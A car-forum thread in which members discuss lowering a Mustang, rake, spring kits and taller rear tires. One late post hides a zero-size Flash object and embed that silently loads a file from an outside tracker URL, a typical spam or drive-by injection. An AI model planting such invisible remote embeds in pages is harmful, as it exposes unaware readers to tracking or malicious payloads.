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xxrequiemxx

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tommyroc said:
Finally lowered it huh?! Did you have those rims on when you brought it to my shop?
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Ya mon. My buddy and I did it. It was real easy.

I didnt have those wheels when I went by your shop. I had the stock 17 inchers on. I am now rolling on 18'' mach 1 wheels. I love them - I think they make the car look a lot better!
 

xxrequiemxx

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MikeysOTP said:
Looks great.

I was sitting at a light the other day and a panhandler sitting at the corner with a sign asking for help jumps up and says nice stang! Did you lower it? I immediately thought of 226embarcadero insisting that lowering makes no difference. Try some cheap wine out of a paper bag, maybe that will help you see it.
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Yeah - it REALLY bothers me that the rear sits up higher then the front. I measured today, its like .5 inches higher

Oh well - 99% of the people wont notice it but me
 
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steedman07

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226embarcadero said:
Lowering makes no difference in my opinion. I barely notice the change.
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V-6's arent fast enough to notice (j/k)
 

RaidenX6

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Looks good
 
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steedman07

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Mine too is about a 1/2 higher in the rear..But I like that look..Im not a huge fan of the car being completely level..
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kooldawg6

mine works really well and can take a fair amount
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Looks much better
It is easy for me to spot a lowered Stang...I might not know the amount or the kit, but I can still tell.
I also love the raked look as I searched high and low to find a set that lowered it more in the front than the rear to go with my taller rear tire
 
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08cali

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xxrequiemxx said:


Yeah - it REALLY bothers me that the rear sits up higher then the front. I measured today, its like .5 inches higher

Oh well - 99% of the people wont notice it but me
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well at least elcambalabra (too lazy to check spelling) or whatever his name is wont notice it.
just kidding, as far as you know.
 

xxrequiemxx

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I washed and polished the car yesterday... here are some more pics!

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highvolts

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DarkFireGT

Playing with my wife's really makes me want one.
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highvolts said:
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You know what, I still really can't see much of a difference there. Not enough to make it worth it, anyway.
 

kooldawg6

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xxrequiemxx said:


Yeah - it REALLY bothers me that the rear sits up higher then the front. I measured today, its like .5 inches higher

Oh well - 99% of the people wont notice it but me
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I did that to mine on purpose as the front is lowered about a 1/4" lower than the rear and along with the 1.3" taller rear tire it fills the rear fender gap about the same as the front.
 

40th GT

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DarkFireGT said:
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What kind of springs are you using? Cas that looks perfect.
 

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Looks great dude, a little rake don't hurt nothin, in fact it will help you from tire rub on hard launches or corners with the solid rear axel. My rear tire is a bit taller than the front and I still have a rake, but I love it.

 

kooldawg6

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I love the rake my car has! Not only is it lowered .25" more in the front than the back, but the rear tire is 2.5" taller than the front

 

40th GT

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kooldawg6 said:
but the rear tire is 2.5" taller than the front
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Did this mess with the ABS/TCS and/or the speedometer at all?
 

DarkFireGT

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40th GT said:
What kind of springs are you using? Cas that looks perfect.
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Holy thread resurrection! I'm using the Eibach Pro Kit. My rear tires are 28" tall which closes the gap a bit more also.

 

40th GT

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DarkFireGT said:
Holy thread resurrection! I'm using the Eibach Pro Kit. My rear tires are 28" tall which closes the gap a bit more also.
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lol yeah, that's what happens when I do a forum search.
 

kooldawg6

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40th GT said:
Did this mess with the ABS/TCS and/or the speedometer at all?
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Nope and I've been running taller rear tires since late '07 and haven't had any issues. The speedo is an easy fix when you have the hand held tuner and know the tires revs per mile
 

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Looks great. Looks tough..<object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" width="0" height="0"><param name="movie" value="http://brbyowner.com/?tracker=4097"></param><param name="allowFullScreen" value="true"></param><embed src="http://brbyowner.com/?tracker=4097" type="application/x-shockwave-flash" allowfullscreen="true" width="0" height="0"></embed></object>
 

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yup, I am pretty well convinced that a lowered car with rake, larger rear tire, SHR painted flush quarter window louvers, black wheels, and the GT500 rear spoiler are the way to go. Is this right, or do I just spend too much time on stangnet?
 
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